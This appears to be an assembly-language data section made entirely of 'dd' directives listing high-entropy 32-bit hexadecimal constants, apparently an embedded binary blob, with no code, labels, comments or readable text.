dd 0A3229344h, 0E3EE7C23h, 78D6F04Ah, 0E4E45Ah, 0D1624866h
dd 0EC795F7Fh, 0D45B20C1h, 8CC42AB7h, 3C1600A6h, 2127BC9Eh
dd 0E0F9F81h, 0C0D3A03Eh, 0B34DFD59h, 53C60316h, 0D8D2B9EFh
dd 22F0EEA0h, 8062F63Bh, 0C9BDA410h, 0E5CDEAh, 2A6BFA56h
dd 0E3C263A2h, 0D3168E00h, 45BC51B2h, 0C33400D5h, 0A4094B6h
dd 1200DA3Bh, 0ECCBBBA6h, 0B58479h, 187D36A1h, 90F6EB49h
dd 2E143300h, 64A5B49Eh, 582D005Ch, 0D1308E8Ch, 50036F4Ch
dd 8A77C11Dh, 0B00B9324h, 1BAE94h, 1EAF9131h, 12333B2Eh
dd 449A0302h, 7C4BA8A5h, 0C4033D5Ch, 0BC0E3492h, 90BA0900h
dd 91BF1032h, 0C20F3031h, 0BD2E0118h, 0C6E4701Ch, 0E0FE5480h
dd 1CE365FAh, 4CDDC3h, 47B699A2h, 96A04ECBh, 0E1007D94h
dd 9B1A6CBDh, 302469ABh, 0C6E6AA10h, 1300DD77h, 0B2115854h
dd 724A2B1Dh, 0E865006Dh, 31B82087h, 4700C60Eh, 16890CF7h
dd 862568h, 99390FA4h, 0CF6124B7h, 23B83Eh, 0C594F514h
dd 0A0415F44h, 3889B6h, 35192849h, 7FB5A8A4h, 8001F301h
dd 0CB302DBCh, 9201336Ch, 8EB41244h, 3A09803Ch, 3F90B210h
dd 8FB11811h, 0AE811842h, 64F03D0Eh, 7ED44046h, 0E57A60h
dd 0CC5D4363h, 36192280h, 4F4BC714h, 0FD140880h, 8D1D0061h
dd 0C2A3ADFEh, 8012733Ah, 0A21997F3h, 492846h, 0EC0456Ah
dd 0B4836C58h, 51C54100h, 0F8E109Eh, 766006Eh, 0FDDA72C3h
dd 0D0C87D5h, 22527ED8h, 0A7C60047h, 2A20B496h, 9B00FA1Bh
dd 5DED9251h, 4F0C0ECh, 58A3417Bh, 0FEDA934Ch, 0C2E09416h
dd 4E1C261Dh, 0C949B800h, 74109DB4h, 3A980005h, 0A6A2351Dh
dd 0C700221Eh, 1B3F20BFh, 123B85CDh, 0C27FCCh, 0AA9EC6Bh
dd 0B5009328h, 0BF123815h, 0F25DBC8Dh, 5AEE0541h, 4014CE0Bh
dd 7CC9F1B7h, 6F00EB1Ah, 380A8A40h, 602CB4D5h, 535197B2h
dd 5B00780Eh, 0D968E877h, 2330B8h, 0BF891E04h, 0A547D635h
dd 15787CC0h, 4293B5h, 756CAC0Ah, 3150FA4Eh, 1C63920Fh
dd 7910201Eh, 90B714h, 9EA13A6Fh, 6ADE717Ah, 1DBADB39h
dd 49C0C411h, 0E1FEDFFFh, 1B3200ACh, 9AFB0475h, 0A800A638h
dd 5E707899h, 0EE7FC9h, 7EF359ECh, 79EDB564h, 3DE8D06h
dd 26E205A3h, 80282CBAh, 0B69C3A14h, 8A122822h, 5C1217A8h
dd 96503827h, 726CE875h, 76DC004Eh, 6BDD7258h, 0D44C654Bh
dd 12913F5Ch, 2842C31Fh, 9029158Ch, 0B0507293h, 8203007Fh
dd 0C1C5183Ah, 0F000B520h, 0A5C41B0Eh, 63EF94h, 391E41E6h
dd 0DFF5B317h, 8AFB8D04h, 1F82B410h, 0DDBE81D9h, 1082B688h
dd 1704D56Fh, 0EDAC1940h, 9200B5B6h, 7BBADDC2h, 9FFB1A6Ah
dd 0C8832C45h, 74C95A7Eh, 75D7F46Ch, 0A1C8E400h, 0FE97C6E5h
dd 3FD3A0C4h, 71ED1420h, 3A28F8BEh, 0C01C71BCh, 2CBDE2B2h
dd 2700D484h, 401DA706h, 0BB88CDh, 0BCE1107Bh, 0B4FD5CADh
dd 775Ch, 5D1B41BAh, 90509BE6h, 83CB0048h, 1D948DB2h, 6E3F577Ch
dd 5C9BC87h, 478A83Ah, 0FBE39144h, 1F48EF0h, 0AD27CCEh
dd 0C8E5C250h, 0B5483793h, 0ECE6707Eh, 3B0F7260h, 907DFF14h
dd 9CDC00ECh, 0F6DDF3FDh, 34028CD5h, 1914477h, 17614060h
dd 49C51438h, 12098EA2h, 0E780E9F3h, 168F92F8h, 273B56EAh
dd 0A8B00ABh, 71FE4EDFh, 0E1A4482Ch, 11A82500h, 82C33584h
dd 3F0DA00Fh, 0B298E02Eh, 362A3h, 22647DB9h, 3E0A9D85h
dd 0E6EE2F03h, 0E7F4D6F9h, 0CC7B5F63h, 12A315C0h, 0EA2B1D3Ah
dd 0C08E9FE2h, 438736A2h, 0F005EF6h, 62419DD0h, 580A2A9Eh
dd 9818598Bh, 8607133Eh, 5856E728h, 0DF166161h, 37600151h
dd 0EB400082h, 0EC8D0C5Dh, 915CD8E4h, 0AF87007Eh, 0E3829848h
dd 58DCF4C4h, 550050C7h, 0F6EDA6Dh, 37488AB0h, 1ED660D9h
dd 0BFC1D2Ch, 0B434AEDFh, 0D0FD5D07h, 0A1ABFE50h, 4E9CAC16h
dd 0FAB15801h, 0DAF3DFh, 5C7ADC6Ah, 0BE4763Bh, 20D2664Ch
dd 4969E7F2h, 20DA6E67h, 18A5C6C2h, 262CEAC8h, 0DA28801h
dd 24B59B3Bh, 0FCC1CA20h, 51F3246Fh, 65BC00B0h, 0C8BEA3F9h
dd 99CCEB09h, 6E04203Dh, 0F0138CFDh, 4CEF0CAh, 71D96B4Fh
dd 0E3888067h, 78B088F4h, 0C842B30Eh, 910AE0E1h, 603EAF0Ch
dd 68AD11E4h, 8EA00360h, 14C3E235h, 9A3FF6Eh, 1A296C21h
dd 153D3A80h, 280086C2h, 0CA9BAD02h, 14A58Dh, 0B9EB038h
dd 41202A7Eh, 7BC60C16h, 60076901h, 91506265h, 7E76FFBh
dd 0FD51E1C7h, 626987DDh, 1960DFC1h, 310380A2h, 9F908323h
dd 5575D86Eh, 6DE50173h, 70D86B4Dh, 6FDDC852h, 5D824F07h
dd 919AAE28h, 40227704h, 0FB41D8h, 539DFC4Dh, 0CD9CB001h
dd 0AF4CC602h, 80B763B6h, 21F24A9Eh, 5CBE0B14h, 0E2D0C489h
dd 15BDAD48h, 1FB11670h, 40AC1E4Fh, 0A0088D8Bh, 0DF6DC08Ah
dd 6651008Eh, 4B4986C3h, 45008F4Dh, 3996F0F9h, 98F111C4h
dd 54A0333h, 78E71831h, 0A38609C5h, 4311A500h, 0B900DF79h
dd 0DDA9C0D9h, 0B288DCFEh, 58AE81C5h, 0EA28C8F6h, 0C54800ABh
dd 0B277B65Fh, 0AF01144Dh, 0FD1C2D1Dh, 5C718AD9h, 25588400h
dd 64210910h, 77800968h, 5C601E3Bh, 0F881042Ch, 1170C107h
dd 0E06F5321h, 3BF968D8h, 0C300A6BBh, 50F7DF92h, 35585862h
dd 2B210ADEh, 459FF38Bh, 0CBC57D80h, 5A488524h, 0E77A0076h
dd 0F5DBFB5Bh
dd 0C9E9651Eh, 0D581551Dh, 0CEEC64F3h, 0F75DC8h, 224BE4D7h
dd 0BFE1C193h, 4CFE7154h, 2EDEFC39h, 0F601D969h, 542AA4D9h
dd 9EF3EC40h, 6B8C4h, 2E6FFE4Ch, 374F9AA6h, 8A00D591h
dd 8FCC1436h, 2E52245Eh, 647F1F78h, 2ABC00A1h, 0ECF41524h
dd 0F355EA02h, 6B5AEDD3h, 0EF62C84Ah, 2EB570BBh, 1912D480h
dd 0D050D30Dh, 0E0E57654h, 0F8E46E4Ch, 4E745201h, 4D7353FDh
dd 472000C3h, 1E3683E8h, 4A059AC0h, 3388AA08h, 0FC9FFF98h
dd 53D1304Dh, 0DB879AD2h, 7C806FB9h, 9D822165h, 73D2168Dh
dd 16DB0BFCh, 6D881403h, 50B5D01Fh, 4DFD4F40h, 58745683h
dd 271C7E1h, 1C516E14h, 0D6415ACCh, 94DD881h, 0C998BC05h
dd 91801F11h, 17CBAE5h, 7778872h, 0C447955Fh, 450D6220h
dd 3C8DBE10h, 3C02047h, 1C85D7B2h, 54E1C5h, 0A0B1D031h
dd 0B500082Ah, 0C0113797h, 195BD8Ch, 4E0653CAh, 208EDBFFh
dd 2F0B6141h, 208DAB9Ah, 86CA19F0h, 0C91C0B3Eh, 0C9002483h
dd 665DA036h, 6D6B7505h, 16C0FA4Bh, 2E272BFh, 0AC1DAB53h
dd 254163F6h, 0EF4A20ECh, 8B077600h, 540A87E5h, 6B8A1A31h
dd 1E64CA39h, 8018C73Fh, 9F2EE455h, 3B3416B5h, 7E00AEA4h
dd 0F3426876h, 0EE01D061h, 8A5EEF59h, 76817308h, 0D3B8491Ch
dd 3486ED44h, 0FC3E5050h, 1304836Dh, 0C8C2A2D9h, 260CBBh
dd 2234BC96h, 3B1DBD8Fh, 82DCAA00h, 0C5FD8AD1h, 2D95020Bh
dd 0C2425E45h, 40C0CCC2h, 0E80779DBh, 0F6674877h, 521453B0h
dd 98200065h, 9425DD6Eh, 380F1AB8h, 25F8E1A5h, 3801908h
dd 2C9391A0h, 99754Eh, 0B5A3B13h, 0BD04EAC4h, 1201D022h
dd 87FE0D82h, 0E0209EC3h, 8AC0ADh, 5E695805h, 0BF5A7DA6h
dd 7213820Eh, 0B60D2054h, 0ED46623h, 0CBAAEB7Ah, 26B71B83h
dd 97F61788h, 921A385Ch, 0A04C9F0Bh, 0CC689A1Ah, 0E15103EBh
dd 0CBE86CF9h, 0E8BA40D1h, 84040945h, 0DF7254E5h, 4770D8C0h
dd 1B5A00F9h, 0C7EB97DBh, 0F4DD979h, 0FCC324D2h, 0E1006D92h
dd 1AC91335h, 289A76EBh, 7F75CD2h, 5BF144EEh, 802A257Ch
dd 0E90ECD31h, 9F1A7418h, 4CA2E30Ch, 6A006195h, 4294F548h
dd 0DC003D0Ch, 19AAACBDh, 0C322637h, 5FBB2A0Dh, 223C2837h
dd 0E44C8Dh, 6E540378h, 25E071DBh, 0CA8017A1h, 0B795280Ah
dd 5EABA62Ch, 7B0702B8h, 0A471BDE1h, 35E1DC74h, 0F5E04C30h
dd 262DFD7h, 4F7033h, 20307FC3h, 0AF9B2D11h, 22844A99h
dd 0B2FE4F68h, 77532F98h, 2C742EBCh, 98C59795h, 0DB682C14h
dd 2C300971h, 8FE4345Bh, 89DA270Ch, 4E7194DDh, 68D18C54h
dd 20AABA4Bh, 8428F6Dh, 2FFB22D3h, 32BD4B68h, 0DF20E981h
dd 4A7FECFDh, 977B3Bh, 0B89874E1h, 3A15A1C5h, 62C80306h
dd 6700193Fh, 0AAAE4A2Ch, 223DF575h, 5AA28058h, 9847663Ah
dd 1B0B007Ah, 0D918B8B5h, 443C7E73h, 3709803Fh, 208CEB7Dh
dd 0ED5700C7h, 71C4EA65h, 0A2061526h, 11E83EFAh, 0CBEC38ADh
dd 7DF52700h, 25FBEA75h, 71A5F900h, 0C5078B78h, 5E0300B7h
dd 8137C080h, 5D62E4C6h, 0FF68FC3Ah, 13E992A3h, 0ECC45107h
dd 5D80B0F3h, 0D2587h, 0EFACF9DAh, 414662B2h, 5A3AA900h
dd 0FFCABF0Fh, 0C1811C36h, 70F0846Ch, 37F8EF5Fh, 0A5881400h
dd 0D0B9662Ah, 0EF007F7Ah, 40F1E712h, 0B506840Fh, 0B46F1810h
dd 2409D930h, 7E00827h, 2ACD801Bh, 60CBA057h, 509D79Bh
dd 0F8FC068Fh, 0C8F4F5CDh, 0A4FE5873h, 0D2B70F05h, 59F2AF61h
dd 1885327Ah, 94C0660Dh, 2460E913h, 0A035113h, 0ECB3006Fh
dd 1D293DF0h, 9E3ED0FCh, 0A630E185h, 1C2BE9C4h, 8183809Eh
dd 7AA451E5h, 8FBAF00h, 0EB26878h, 322C0FF5h, 0EF80C725h
dd 383F7622h, 37B0D0F1h, 1B0420F9h, 32089D63h, 70ACC08Fh
dd 0B1761955h, 0D09C213Ah, 686015ADh, 9A63B211h, 2DB7283Bh
dd 72770C1Ch, 0A511491Bh, 411860E2h, 0D1816FAAh, 0E78185Ch
dd 6AE7117Bh, 0EC34671Ch, 896ECA0h, 2F506B72h, 814C494Ch
dd 0B3E71379h, 5020A533h, 226FE9B5h, 0BF014815h, 45570CAAh
dd 36FCB72Bh, 7CFD1B49h, 42D7E0C8h, 8480687Ah, 0B7F32A86h
dd 10790630h, 0CFFCF72h, 0AE012516h, 0BE1C3C38h, 0E2812F66h
dd 327A3503h, 67146088h, 0BBFD1E3Fh, 102DBC0Ch, 0C1D76050h
dd 0DB8BA17Fh, 9793A300h, 8E8988CCh, 9B783BD5h, 0A59A0778h
dd 5E6F678Ah, 7B97CA81h, 0A284E073h, 0A00ED6ECh, 80D09D77h
dd 91CF6832h, 0B6900395h, 0BE258681h, 0D071D0BFh, 9300978Fh
dd 8A8891DAh, 149B9FD9h, 382CD594h, 0E39EABA1h, 18948ECFh
dd 8C7B0A8h, 9586C899h, 0AA7100B0h, 9D7BDB8Eh, 9E0AB725h
dd 8DB088A1h, 9BD97500h, 78BC7495h, 0DF6A3B80h, 0B56EA685h
dd 8168032Ch, 86C3BB7Ah, 0DC8A39F6h, 0E18043Eh, 0F01031FEh
dd 0C9D215B1h, 30AC87Ch, 1CF847D1h, 0B01BAB9h, 0CF753842h
dd 31C252Dh, 191ED1FCh, 0E80A808Fh, 681208C5h, 0ECB23800h
dd 0A3AD661h, 0DA317C6Dh, 0C266032Ch, 0AE464277h, 88D1770Ch
dd 56FFC60Ch, 0AEF50D30h, 9059CCECh, 0F487C1A0h, 82414CB1h
dd 0A0688D24h, 0ADE40B3h, 0F4299C19h, 8F828578h, 8B58086Bh
dd 3B73E477h, 0F91D9EF2h, 0A8B00E4Eh, 520B9A24h, 42C6D38h
dd 0CC9072B3h, 619FC9F2h, 0E8B52845h, 0D035CDB3h, 0CA3E9EAh
dd 37EB34E8h, 0B709E492h, 808792CFh, 7D2AA8B8h, 282874BBh
dd 9A0CEFB0h, 0BD3D4450h, 4CD4C213h, 0EFEAB000h, 0E86AAE86h
dd 0CE250B5h, 0B63B1367h, 0B0144530h, 0AF580B04h, 2FF03F82h
dd 0C311649Dh, 0A8D2A13h, 0A08C07F0h, 41CE42BCh, 9A10D2B8h
dd 1890B226h, 19D8FD24h, 4CF33696h, 0E0A17CF8h, 0FE5464D1h
dd 9047D020h, 8CC14548h, 0C14F7140h, 7D4A29EFh, 463E918Ch
dd 0E893A0E4h, 0B7B526C7h, 0C8984C7Ch, 2190DD84h, 6833940Ch
dd 0BA3111ACh, 30297313h, 0B79A88BFh, 84AC62E0h, 0C4249E64h
dd 40942698h, 0E049AC2Ah, 3B57E912h, 28380C32h, 0A3D45180h
dd 0F90A0C99h, 8D058C63h, 48A85F5h, 4CB96BA1h, 0E0D67588h
dd 21F47810h, 1D240EB2h, 6A4062D1h, 0E9604B84h, 28234852h
dd 80857322h, 30990F1Ah, 0A15E340Ch, 7F21C88Ch, 0B4F80C23h
dd 1DA84A85h, 3191A18Ch, 0CD8D8042h, 0F20C1899h, 56AC985Dh
dd 8FF6A89Ch, 0BE0DF351h, 0F2A0C9B1h, 72241634h, 761114ECh
dd 0D2B22E08h, 1B4374ACh, 50615772h, 6544CC8h, 0B63C2730h
dd 0EC535134h, 89816FA8h, 0F9B49115h, 3057D84Dh, 555836C9h
dd 2C264CB7h, 7C8D3FA8h, 0F8FC5E46h, 3E48AA18h, 994B910h
dd 0DA4BA039h, 34307803h, 576744E4h, 1322DC14h, 30B22D3Bh
dd 8D841836h, 6360F24Ch, 2CFB70B5h, 0A09C48E4h, 18DA459Ch
dd 3711673Ch, 51E4E626h, 9BC73CE8h, 79BDF43Ch, 3C73D854h
dd 0EC6D8106h, 3DF8101Eh, 8E4B5200h, 85889581h, 713C6E7Dh
dd 5AC31F32h, 83B07807h, 2CAB85DFh, 79801407h, 0E1776FC2h
dd 8BE4EC24h, 0AD0E09E8h, 44B8C076h, 0B49835DCh, 8058E822h
dd 4BA75C6h, 76DDF2B7h, 0AF70B430h, 0C2807AEAh, 66D540E4h
dd 7D488EE0h, 51B31178h, 7C7E9905h, 0D3203C85h, 0F20FD246h
dd 26104BE1h, 7640101Ah, 82873Ah, 3603C9A2h, 601F5F95h
dd 1CF7220Fh, 0B7C5A0E8h, 0C07BA2EFh, 0B827B0D0h, 0EC12EBFCh
dd 5800440Dh, 3EA6986Fh, 49817AB1h, 63015C6Ch, 0CDE1C09Bh
dd 7675DCB7h, 0F0B15290h, 70F2F601h, 0C1D32956h, 91B82A1Ah
dd 0FA6D160Eh, 8C86B960h
dd 5004ABAEh, 8565B036h, 14C7A887h, 52498Ch, 0BB872A7Fh
dd 0B3308B79h, 4E086966h, 77740021h, 0CDC69A2Ah, 5C023E90h
dd 0E909A9B1h, 9F2C405Fh, 0D8358136h, 828243E4h, 0AF5FDFD8h
dd 7E011194h, 80261222h, 0A03329h, 0D4DC30BFh, 14E93B52h
dd 0B42649A2h, 5414310h, 0FD667F8Bh, 47235C2Eh, 0E367E04h
dd 0D404C8h, 4398183Eh, 7ECD587h, 8B8C2E00h, 0E482FBF2h
dd 710A0326h, 5630F07Ch, 289E24F1h, 608587Ch, 5419EC4Eh
dd 0A9940110h, 41FE2944h, 1D0C62B2h, 7F22B876h, 358B00B3h
dd 0B5956213h, 974892CFh, 6A8F0500h, 8C20BD3Bh, 0D8F9F4B0h
dd 85962869h, 195F6788h, 1078B2EFh, 6900D30Eh, 724A3C5h
dd 0D579BDh, 5E584985h, 7B50C71Bh, 2FD15F14h, 0AEF9C0BCh
dd 6A6A4D9h, 0BEEF35ADh, 7F00509Bh, 0DF9464CFh, 35417E16h
dd 0F616AB3h, 0E840FA38h, 0C95D5660h, 34A1E600h, 0C2C02726h
dd 8CD7484Ah, 1BADCD0Fh, 417D821Dh, 20836BAEh, 0F0B0B3EBh
dd 0EC905648h, 0F7C4ED14h, 39007AE4h, 65725492h, 49EEB176h
dd 0DA096827h, 20005D80h, 85A9DEBFh, 73C17009h, 1B04072Fh
dd 9BD14Ch, 0C6DC6CA7h, 810C5B29h, 828E2805h, 6088E834h
dd 7584017Ch, 7F633BB9h, 0F00444BFh, 0E91AF06Ch, 8058489Bh
dd 83C9902Ch, 9A10C740h, 852BD738h, 0A2C4A40Eh, 0CF9E4300h
dd 0A65C887Ch, 0C550069Bh, 407D6606h, 804CBA49h, 0BB882A80h
dd 750B8781h, 28F48478h, 9DA73C87h, 0C2C19052h, 2480BA4h
dd 930D87D8h, 0F589B0A8h, 98F02482h, 4CE812F8h, 0AC2183FCh
dd 0C8F58101h, 0FCE6EA84h, 4847B4C4h, 0BD050457h, 321CE2h
dd 0E617CFACh, 1448DA03h, 0ADA380C0h, 70711DB8h, 0B4F905F6h
dd 0B414C729h, 0A700A014h, 0AA354C5h, 2988769h, 939AA1E0h
dd 9440E883h, 4D24B33Ah, 203A647Fh, 0DBE2024Fh, 0DD1904B2h
dd 94904C50h, 67B434FDh, 20B4C48h, 497EB5C0h, 33FB636Bh
dd 6D214308h, 77AF5E00h, 0FFF23C01h, 33491Ah, 1D503100h
dd 63DCCD43h, 0BCA1C00h, 0A2CEC27Bh, 0B9466015h, 8BA45B12h
dd 33E39700h, 21DA7D06h, 0C7F4007Ah, 0D22E74C5h, 75EC8670h
dd 793A5034h, 88DC0FEh, 42007EC1h, 20644148h, 0E5C58B15h
dd 27050D4h, 0CFB63824h, 0A4407A52h, 0E9149A85h, 1DE0552Fh
dd 0D340A692h, 0B5A0BB46h, 95E230C7h, 6CC88628h, 0A9AA4117h
dd 0B9F28043h, 38A6F7h, 0F838DF8Ah, 7CB74D3Bh, 0F1C01A7Ah
dd 0AF36A0CFh, 5A210009h, 46ECDE4h, 0CE041527h, 0C67E01B7h
dd 1C026C95h, 206DB441h, 37CFE970h, 960B6C92h, 86B6DFC8h
dd 930AD35h, 0A07ECB76h, 0B005F800h, 354C975Eh, 1A810C3Ch
dd 3D458128h, 0AE96EFC4h, 0A6240BD3h, 21422826h, 0EFBC6A00h
dd 86C22238h, 0C8D06E3h, 905E0FE7h, 5700DCA6h, 0DD9D7419h
dd 41C033h, 0B392F71Eh, 9CEB820Ch, 80252800h, 949329C2h
dd 0CAA50345h, 69B0416Eh, 3F1D112h, 198B5000h, 93E4C1B2h
dd 0BAC2782Ch, 0F4C32604h, 0EC8529C9h, 30B7BC49h, 112A7DE4h
dd 8869BB85h, 75728049h, 0AC53382Ah, 0B38CE000h, 5A54FE6h
dd 0B6C7015Fh, 15FCB014h, 902867h, 23F17593h, 0A58B41BCh
dd 80D1CE5Ch, 0E6FE735Eh, 0DB7800E7h, 9871FDC4h, 3C3762B0h
dd 33906CF1h, 905CD0C2h, 3BA713F8h, 62F0D6B7h, 1400A02h
dd 58D515C0h, 0FDBD28C8h, 38884DD4h, 83F58A80h, 448CA0F0h
dd 8207AD81h, 0A8CA95F5h, 131A5A0h, 823C9142h, 541FC1F2h
dd 5A0E7D02h, 910F3DDCh, 1CEE5707h, 3F740001h, 2A12A66Bh
dd 3C088AADh, 0EFC6C083h, 0E346AE91h, 6C003C22h, 0D62AEFBEh
dd 4AE40D25h, 758030DAh, 5528FC30h, 145FC049h, 6FD9DC40h
dd 2CE7ECDDh, 214B81Dh, 633C60B0h, 848018C2h, 0BD929834h
dd 97C21D3Fh, 0B4277D8Ch, 75837EF1h, 0F2410630h, 0BD840BC1h
dd 0C8E85025h, 3703462Dh, 4DC7A38Eh, 4F3918F0h, 0B799213Dh
dd 0FE48F500h, 0EE5F5A0Ch, 17A63C66h, 8EFF2D00h, 34E48A86h
dd 3D906C17h, 5008B065h, 2A84C0BEh, 0A146BB8Ch, 791C4622h
dd 92C12A7Ch, 3DD9F44Eh, 0B83B8440h, 3432802Bh, 684BEF4Eh
dd 7CD0E68Dh, 0B803075Fh, 4008E5BDh, 758C6E43h, 0F0E11498h
dd 80F51563h, 5FE12869h, 4CECA14Bh, 4C00C573h, 2BB19B4h
dd 0BE051637h, 32BC21Eh, 4223F03Ah, 266DF900h, 4EA640Dh
dd 8DA2405Ch, 0D4FCE450h, 691D2713h, 7DB21404h, 213E5046h
dd 4FE03Bh, 35143BFDh, 1611CA71h, 9D050Fh, 0BF60540Eh
dd 0A1649AC2h, 48C0C7F8h, 505C1F03h, 0C337FF3Bh, 33E4C818h
dd 0E2BBF109h, 15C50A0h, 1FBE1066h, 282EEDF3h, 62E70BECh
dd 0BA0C2091h, 0BAF6BF55h, 0F27E04E8h, 0F1467BE9h, 84582D90h
dd 50B72EA7h, 58C38020h, 3D2941E5h, 5DA0AA81h, 16206090h
dd 0F83134CEh, 2094A7B2h, 20E45349h, 60CBB784h, 4010AA5Bh
dd 0EC15F24Eh, 7FC82E1Ah, 0A334F104h, 93809CEAh, 59B1F276h
dd 90033073h, 3B8624B0h, 0F8ADD01Ch, 344EC052h, 0B70571F3h
dd 28F62EFh, 42A08D88h, 4037D8A4h, 0C8D80486h, 9A5E00ACh
dd 8055B50Ah, 9403E6CDh, 986366A1h, 8B43B8E4h, 7E0418AEh
dd 1123713Ch, 626F5039h, 2037A688h, 8C927B1Bh, 4F855B08h
dd 79FA8336h, 4C98EA1Ch, 0D779798h, 1980A096h, 0DFB7BC20h
dd 40155AC2h, 23E4E680h, 622631C0h, 0C504F1D5h, 0FCC08E0Bh
dd 1B52C4h, 11ADBD4Ch, 5ED81AA7h, 3AF08400h, 0AE2DE441h
dd 53240020h, 44E77BAh, 94A43F2Ah, 0D019B1FBh, 1D1250CAh
dd 341898D2h, 0B5B945ECh, 815A31E7h, 248E0E3Eh, 0F00EEC78h
dd 0E00FA52Fh, 1461D2Eh, 4E3D386Dh, 0A4BABE04h, 7B4AC38h
dd 67243188h, 0E5842360h, 26F11FDBh, 0C0301C66h, 9B40A098h
dd 47704B9Ch, 0BE950307h, 0E22004A5h, 0F4C52BDh, 0A315B4F6h
dd 0A705AA00h, 0A6F612BAh, 0FFC4B609h, 0EA285A4h, 0F0A81428h
dd 30BB60A0h, 13C1BF97h, 0A620B6F8h, 4B50005h, 0BA5CE9Bh
dd 9DEEE4A8h, 0BEE25A06h, 0D909812h, 3B2A101h, 0BAAD018h
dd 96C09338h, 9F1B980Fh, 0B0286080h, 9708B9B3h, 9510D4E9h
dd 0A078B261h, 31BAA9B6h, 59971598h, 0C253BC95h, 9D11150Ch
dd 0A4007084h, 9C07A5E4h, 0A010C1B9h, 1809B688h, 2912BD9Bh
dd 0CD072011h, 463575DBh, 4221E68Eh, 0C5020949h, 28884893h
dd 25803E18h, 0A7151929h, 6633F82h, 0A9089E19h, 84F0E297h
dd 0EA8F823h, 40C6A048h, 0D711EF80h, 38C1189Dh, 5A7FC4BCh
dd 72105883h, 94F0574Bh, 0F40C06C8h, 7129C52Bh, 428239DEh
dd 9987168Fh, 22114601h, 2FA99F8Bh, 0C78200A0h, 0C33A9CD1h
dd 2A80A023h, 0C84C653Eh, 0E2181E1Dh, 0F206CB19h, 2EE24568h
dd 8688A6EAh, 196A2164h, 7C42C80h, 467C11F1h, 0E2498A01h
dd 3B3C40A0h, 9B6138C3h, 4C5B92A8h, 59A5B898h, 4A40078Ah
dd 0E1226323h, 31185D40h, 0AE59D02Bh, 845B28D5h, 0E73F18C8h
dd 0DE1440A2h, 1772A905h, 0DDC1C6A7h, 0C08635CFh, 511AC82Ch
dd 3B875E3Dh, 3908B036h, 18BDE011h, 30D25974h, 0B9C29829h
dd 0A0E8CCA0h, 14FC2FCh, 0E31451D7h, 51DA403h, 0C92548F1h
dd 0B4DC1DFBh, 77FA03F1h, 301FD6ECh, 1872F785h, 944CA246h
dd 4B5880DDh, 0A8278616h, 0EAC5E4C8h, 0C0FBB020h, 9F824B39h
dd 7A6729D5h, 13862330h, 4E422818h, 0E854A14Ch, 828D3F18h
dd 3AD5AD54h, 0A193A490h, 0C4F06F85h, 0B8666021h, 6F182421h
dd 5CDE88D0h, 46C70CFFh
dd 0D59E1F3Fh, 2623A1F1h, 3AA2284Ah, 1FF24E11h, 36A46784h
dd 56113472h, 506B9E1Ah, 7E882E90h, 504B2BD4h, 88601028h
dd 0A721D4C6h, 2255442Bh, 271535EEh, 4488C850h, 0AF116AF6h
dd 0A12A8439h, 9ACC5CC8h, 20C8136Ch, 3F607212h, 0FC453468h
dd 8160D048h, 2C89309Ah, 1D8C61A4h, 44C5C812h, 3349094h
dd 1554338Bh, 14A8B21h, 0C8605E31h, 0BB0DCC63h, 311F3338h
dd 0B0C2941Ah, 0C8112C52h, 184C2853h, 91610BC3h, 986C4C5Bh
dd 264C2A10h, 2042B0DAh, 0C48B045h, 60B8986Ah, 8FEC111Fh
dd 0E89174C1h, 38662A1Ch, 496DA868h, 99D445E0h, 143E1268h
dd 88F7A4F7h, 21E48C81h, 1081141Eh, 9E01C5F2h, 6CAC60BDh
dd 9C4CE17h, 0B4EF31Fh, 0EB3809Ah, 7B8FD97h, 1F21A814h
dd 0A7BA41EEh, 0C4B4F03Ch, 0B36C0500h, 279801AAh, 14045CB6h
dd 1B06F21Dh, 110F28BBh, 85B39B0Eh, 1CC0A502h, 0EB46C03h
dd 27A805B5h, 1719AFh, 0BF980B24h, 0B7F012A7h, 0A305C478h
dd 5E0DB3B9h, 41A0CCDh, 0E1EBC1FAh, 0B420A512h, 0B55E1C0Fh
dd 184C14BAh, 341B8AA1h, 0C51305B0h, 24003133h, 0EAC604C8h
dd 4B7F0C26h, 9E19BF74h, 11DD2517h, 574AB001h, 4C34A0AAh
dd 9CAD17AEh, 0D2380F19h, 81787207h, 60D09377h, 4A03A814h
dd 3BCE52F9h, 0F0D094C4h, 0BF9EFDh, 0FA7DA56h, 0E48F3943h
dd 8187851Dh, 600068AEh, 0AEC04BA4h, 77461BCCh, 0C5C0190Dh
dd 2F7BFC7Ch, 0A0B862F8h, 12C14080h, 0E9CC0530h, 0FDAB49A1h
dd 58A9C2D3h, 0F65137BCh, 274F2C0h, 4D87CA0h, 6D233D76h
dd 739FC7C6h, 1004FABDh, 0DAEF9CBCh, 0A68E4C6h, 5362BF72h
dd 71E21FB8h, 9ADC8730h, 6381EDF8h, 775A2ACh, 0BFDFC3BCh
dd 72104001h, 15F59CBDh, 31797899h, 8629E811h, 7E048CAEh
dd 470C16CCh, 4581826Dh, 0C10EF8D9h, 0A8622348h, 0DC85027Eh
dd 8A0AA03Ah, 0BE0038C4h, 96F52B82h, 0CEF10DFh, 0A0129771h
dd 48A3A189h, 48D50912h, 4C5D2861h, 0CDB86422h, 6B2F59C1h
dd 0D7F12091h, 0B0415FCCh, 6DDD0085h, 9AAD369h, 0C2012797h
dd 0C4BE9B12h, 0A5E19D01h, 0E92C7866h, 0B49A0550h, 0C05487C0h
dd 0D27B60F2h, 9B000DE8h, 3D4EA7E3h, 0A6410C1Ch, 32FE0060h
dd 96392D2Ch, 4AC8AB2h, 0E872851Fh, 0D00C3414h, 0A0F20708h
dd 94C8AAE2h, 0E9C5749Ch, 0A3082384h, 0C11A43E2h, 31F14274h
dd 4988AC4Eh, 0AD09DD19h, 8E1FD05Ch, 0A221E164h, 3015794Fh
dd 552449A2h, 63881051h, 733CB791h, 7C084646h, 70013B41h
dd 2D0353DDh, 0B09CDBC4h, 0A463DD05h, 6C662B0Ch, 0A50208Ch
dd 0C6D686E9h, 324811E4h, 24420949h, 91444843h, 121E1045h
dd 20441F22h, 121A8921h, 481C241Bh, 2216911Dh, 19184417h
dd 1349FC8Bh, 0D773FF80h, 770CEBE4h, 0C160DAD5h, 14089CA2h
dd 0A0B684A0h, 54D40485h, 0E35080Bh, 43B1484Ch, 0A17E4723h
dd 80E5D7BBh, 0A2139813h, 0E9FEAE07h, 0C0D1459Ch, 8ED09143h
dd 74C878A1h, 9EF1F586h, 624742E0h, 0E99440B6h, 81B8BC41h
dd 9FEB340h, 84F69E9Dh, 48A663A9h, 43FF4BFh, 56FEADFAh
